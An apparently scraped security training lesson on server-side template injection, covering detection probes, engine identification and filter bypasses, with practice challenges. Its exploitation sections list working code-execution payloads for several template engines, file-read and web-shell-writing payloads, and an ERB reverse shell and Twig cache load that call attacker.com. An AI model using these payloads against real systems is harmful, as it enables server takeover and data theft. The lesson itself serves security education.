Server-Side Template Injection (SSTI)

advanced40 minWriteup

Injecting into template engines for code execution

Learning Objectives

  • Understand template injection
  • Identify SSTI vulnerabilities
  • Exploit common template engines
  • Achieve remote code execution

When Templates Attack

Template engines are supposed to make web development easier - separate your logic from your presentation, they said. It'll be clean, they said. What they didn't mention is that if user input reaches the template engine, attackers can execute arbitrary code on your server.

Server-Side Template Injection (SSTI) occurs when user input is embedded into a template in an unsafe way. Instead of being treated as data, it's processed as template code. The result? Remote code execution in many cases.

SSTI often leads directly to Remote Code Execution (RCE). Unlike XSS which runs in browsers, SSTI runs on the server with full system access.

How Template Engines Work

Template engines allow developers to create dynamic HTML by embedding variables and logic. Here's the safe way vs the dangerous way:

Safe: Data in Template Context

python
1606070;"># Python/Jinja2 - SAFE
2from flask import render_template_string
3 
4template = 606070;">#a5d6ff;">"Hello, {{ name }}!"
5output = render_template_string(template, name=user_input)
6606070;"># user_input is treated as DATA, not code
7 
8606070;"># Even if user_input = "{{7*7}}"
9606070;"># Output: "Hello, {{7*7}}!" (not "Hello, 49!")

Dangerous: User Input AS Template

python
1606070;"># Python/Jinja2 - VULNERABLE
2from flask import render_template_string
3 
4template = 606070;">#a5d6ff;">"Hello, " + user_input + "!" # NEVER DO THIS
5output = render_template_string(template)
6 
7606070;"># If user_input = "{{7*7}}"
8606070;"># Output: "Hello, 49!" - Template code was executed!
9 
10606070;"># If user_input = "{{config}}"
11606070;"># Output: "Hello, <Config {...secret keys...}>!" - Data leakage!

Common Template Engine Syntax

1TEMPLATE ENGINE SYNTAX LANGUAGE
2─────────────────────────────────────────────────────────────
3Jinja2 (Flask) {{ }} and {% %} Python
4Twig {{ }} and {% %} PHP
5Freemarker ${} and <606070;">#> Java
6Velocity $var and 606070;">#directive Java
7Smarty {var} and {if} PHP
8Mako ${} and <% %> Python
9ERB <%= %> and <% %> Ruby
10Pebble {{ }} and {% %} Java
11Thymeleaf th:text=606070;">#a5d6ff;">"${}" Java
12Handlebars {{ }} JavaScript
Each template engine has unique syntax. When testing for SSTI, try payloads specific to the technology stack you're targeting.

Detecting SSTI

Universal Detection Payloads

1MATHEMATICAL PROBES:
2──────────────────────
3{{7*7}} → 49 (Jinja2, Twig, etc.)
4${7*7} → 49 (Freemarker, Mako, etc.)
5<%= 7*7 %> → 49 (ERB)
6606070;">#{7*7} → 49 (Ruby, some Java)
7{{7*606070;">#a5d6ff;">'7'}} → 7777777 (Twig - string multiplication)
8{7*7} → 49 (Smarty)
9 
10If you see 606070;">#a5d6ff;">"49" in the response, template code executed!
11 
12STRING OPERATIONS:
13──────────────────
14{{606070;">#a5d6ff;">'a'.upper()}} → A (Jinja2)
15${606070;">#a5d6ff;">"a".toUpperCase()} → A (Freemarker)
16<%= 606070;">#a5d6ff;">"a".upcase %> → A (ERB)
17 
18ERROR PROBES:
19─────────────
20{{foobar}} → Error if foobar undefined
21${foobar} → Error or empty
22{{7/0}} → Division by zero error
23{{7*606070;">#a5d6ff;">'a'}} → Type error (in some engines)

Template Engine Identification

1DETECTION DECISION TREE:
2─────────────────────────
3 
4${7*7} = 49?
5├── YES → Freemarker, Mako, or similar
6│ Try: ${606070;">#a5d6ff;">"".getClass()} for Freemarker
7│ Try: ${self.module.cache.util.os.popen(606070;">#a5d6ff;">'id').read()} for Mako
8
9└── NO → Try {{7*7}}
10 
11{{7*7}} = 49?
12├── YES → Jinja2, Twig, or similar
13│ Try: {{config}} for Jinja2
14│ Try: {{_self.env.registerUndefinedFilterCallback(606070;">#a5d6ff;">"exec")}} for Twig
15
16└── NO → Try <%= 7*7 %>
17 
18<%= 7*7 %> = 49?
19├── YES → ERB (Ruby)
20│ Try: <%= system(606070;">#a5d6ff;">"id") %>
21
22└── NO → Try {7*7}
23 
24{7*7} = 49?
25├── YES → Smarty
26│ Try: {php}system(606070;">#a5d6ff;">"id");{/php}
27
28└── NO → Try other formats or not vulnerable
SSTI Detection
text

A web application reflects your input in a "Welcome" message: URL: /welcome?name=John Response: "Welcome, John!" You try: /welcome?name={{7*7}} Response: "Welcome, 49!" What template engine is likely being used, and what should you try next?

Exploitation by Template Engine

Jinja2 (Python/Flask)

python
1606070;"># Configuration disclosure
2{{config}}
3{{config.items()}}
4{{settings}}
5 
6606070;"># Access Python objects
7{{606070;">#a5d6ff;">''.__class__.__mro__[2].__subclasses__()}}
8 
9606070;"># RCE via subprocess
10{{606070;">#a5d6ff;">''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
11 
12606070;"># Modern Jinja2 RCE payload
13{{config.__class__.__init__.__globals__[606070;">#a5d6ff;">'os'].popen('id').read()}}
14 
15606070;"># Alternative using request object (Flask)
16{{request.application.__globals__.__builtins__.__import__(606070;">#a5d6ff;">'os').popen('id').read()}}
17 
18606070;"># Lipsum trick (Flask)
19{{lipsum.__globals__[606070;">#a5d6ff;">"os"].popen("id").read()}}
20 
21606070;"># Cycler trick (Flask)
22{{cycler.__init__.__globals__.os.popen(606070;">#a5d6ff;">'id').read()}}

Twig (PHP)

php
1606070;">// Information gathering
2{{app.request.server.all|join(606070;">#a5d6ff;">',')}}
3{{_self.env.display(606070;">#a5d6ff;">"id")}}
4 
5606070;">// Older Twig (< 1.19) - direct code exec
6{{_self.env.registerUndefinedFilterCallback(606070;">#a5d6ff;">"exec")}}{{_self.env.getFilter("id")}}
7 
8606070;">// Twig 1.x RCE
9{{_self.env.setCache(606070;">#a5d6ff;">"ftp://attacker.com:2121")}}{{_self.env.loadTemplate("backdoor")}}
10 
11606070;">// Twig 2.x+ (harder to exploit)
12{{[606070;">#a5d6ff;">'id']|filter('system')}}
13{{[606070;">#a5d6ff;">"id"]|map("exec")}}
14{{{606070;">#a5d6ff;">"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

Freemarker (Java)

java
1606070;">// Basic execution
2<606070;">#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
3 
4606070;">// Alternative
5${606070;">#a5d6ff;">"freemarker.template.utility.Execute"?new()("id")}
6 
7606070;">// ObjectConstructor gadget
8${606070;">#a5d6ff;">"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",["cat","/etc/passwd"]).start()}
9 
10606070;">// Using built-ins
11[606070;">#assign classLoader=object.class.protectionDomain.classLoader]
12[606070;">#assign clazz=classLoader.loadClass("freemarker.template.utility.Execute")]
13[606070;">#assign ex=clazz.newInstance()]
14${ex(606070;">#a5d6ff;">"id")}

ERB (Ruby)

ruby
1606070;"># Direct command execution
2<%= system(606070;">#a5d6ff;">"id") %>
3<%= `id` %>
4<%= exec(606070;">#a5d6ff;">"id") %>
5 
6606070;"># File read
7<%= File.read(606070;">#a5d6ff;">"/etc/passwd") %>
8 
9606070;"># More complex
10<%= IO.popen(606070;">#a5d6ff;">"id").read() %>
11 
12606070;"># Reverse shell
13<%= require 606070;">#a5d6ff;">'socket';f=TCPSocket.open("attacker.com","4444").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>

Smarty (PHP)

php
1606070;">// Older Smarty (if {php} tags enabled)
2{php}system(606070;">#a5d6ff;">"id");{/php}
3 
4606070;">// Smarty 3+
5{system(606070;">#a5d6ff;">"id")}
6 
7606070;">// Using template function
8{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,606070;">#a5d6ff;">"<?php phpinfo();")}
9 
10606070;">// If functions are limited
11{$smarty.version}
12{literal}<script>alert(1)</script>{/literal}

Velocity (Java)

java
1606070;">// Class instantiation
2606070;">#set($ex = $class.inspect("java.lang.Runtime").type.getRuntime())
3606070;">#set($proc = $ex.exec("id"))
4 
5606070;">// Alternative
6606070;">#set($str=$class.inspect("java.lang.String").type)
7606070;">#set($chr=$class.inspect("java.lang.Character").type)
8606070;">#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
9$ex.waitFor()
10606070;">#set($out=$ex.getInputStream())
11606070;">#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
These payloads can cause real damage. Only test on systems you own or have explicit written permission to test!

Bypassing Filters

Character Restrictions

1606070;"># If quotes are filtered (Jinja2)
2{{config[request.args.a]}} 606070;"># Pass "SECRET_KEY" as ?a=SECRET_KEY
3{{config|attr(request.args.a)}}
4 
5606070;"># If underscores are filtered
6{{config[606070;">#a5d6ff;">"__class__"]}} # _ = underscore
7{{lipsum|attr(606070;">#a5d6ff;">"\x5f\x5fglobals\x5f\x5f")}}
8 
9606070;"># If dots are filtered
10{{config[606070;">#a5d6ff;">'SECRET_KEY']}} # Bracket notation
11{{config|attr(606070;">#a5d6ff;">'SECRET_KEY')}} # attr() filter
12 
13606070;"># String concatenation
14{{606070;">#a5d6ff;">'config'+'uration'}}
15{{606070;">#a5d6ff;">"con"+"fig"}}

Blocked Keywords

1606070;"># If "config" is blocked
2{{self.__dict__._TemplateReference__context}}
3 
4606070;"># If "os" is blocked (build it)
5{{lipsum.__globals__[606070;">#a5d6ff;">"o"+"s"]}}
6 
7606070;"># If "popen" is blocked
8{{lipsum.__globals__[606070;">#a5d6ff;">"os"]["pop"+"en"]("id").read()}}
9 
10606070;"># Use hex encoding
11{{config}} 606070;"># config
12 
13606070;"># Use request parameters to pass blocked strings
14{{().__class__.__bases__[0].__subclasses__()[40](request.args.a).read()}}
15606070;"># Then: ?a=/etc/passwd

WAF Bypasses

1606070;"># Unicode normalization
2{{ 606070;">#a5d6ff;">"config".__class__ }}
3606070;"># vs
4{{ 606070;">#a5d6ff;">"ᴄᴏɴfig".__class__ }} # Small caps unicode
5 
6606070;"># Case manipulation (some engines)
7{{CONFIG}}
8{{Config}}
9 
10606070;"># Whitespace variations
11{{ config }}
12{{config}}
13{{ config }}
14 
15606070;"># Comment injection
16{{con{606070;"># comment #}fig}}
17 
18606070;"># Newline injection
19{{con
20fig}}

Testing Methodology

SSTI Hunting Process

1
Identify Reflection Points
  • Find where user input appears in responses
  • Look for: error messages, PDF generation, emails, previews
  • Check parameters: names, templates, themes, previews
2
Test for Template Syntax
  • Try mathematical expressions: {{7*7}}, ${7*7}
  • Check if result is 49 (evaluated) or literal (safe)
  • Try multiple syntaxes to identify the engine
3
Identify the Template Engine
  • Use error messages (often reveal engine name)
  • Try engine-specific syntax
  • Check technology stack (Python = likely Jinja2)
4
Explore Capabilities
  • Can you access configuration? {{config}}
  • Can you access object methods? {{''.__class__}}
  • Are there built-in dangerous functions?
5
Achieve Code Execution
  • Use known exploitation chains for the engine
  • Read files first (less intrusive PoC)
  • Escalate to command execution if needed

Practice Challenges

Basic SSTI

Challenge
🔥 medium

A web application has a greeting page: GET /greet?name=John Response: "<h1>Hello, John!</h1>" You notice the name parameter is reflected. Test for SSTI and read /etc/passwd. The application is built with Python/Flask.

Need a hint? (4 available)

Filtered SSTI

Challenge
🔥 medium

Same application, but now with filters: - "config" is blocked - Underscores are blocked - "os" is blocked Find a way to still execute commands.

Need a hint? (4 available)

Identify and Exploit

Challenge
🔥 medium

A Java web application has a PDF generation feature. Users can customize the header text. POST /generate-pdf Content-Type: application/x-www-form-urlencoded header=Company Report You notice the header appears in the generated PDF. Test for SSTI, identify the template engine, and achieve code execution.

Need a hint? (4 available)

Knowledge Check

SSTI Quiz
Question 1 of 5

What's the key difference between SSTI and XSS?

Key Takeaways

  • SSTI = user input as template code, leading to code execution on the server
  • Each engine has unique syntax: {{}} for Jinja2/Twig, ${} for Freemarker, <%= %> for ERB
  • Detection: Try {{7*7}} or ${7*7} - if you see 49, it's vulnerable
  • Exploitation chains vary by engine - learn the specific payloads for common engines
  • Defense: Pass user data as template variables, never concatenate into template strings

Related Lessons